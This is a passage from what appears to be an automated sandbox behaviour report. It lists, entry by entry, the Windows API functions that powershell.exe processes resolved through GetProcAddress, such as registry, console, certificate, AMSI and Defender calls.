00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreatePipe (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreatePipeW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00000796) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00002344) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00004816) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00004816) "powershell.exe" 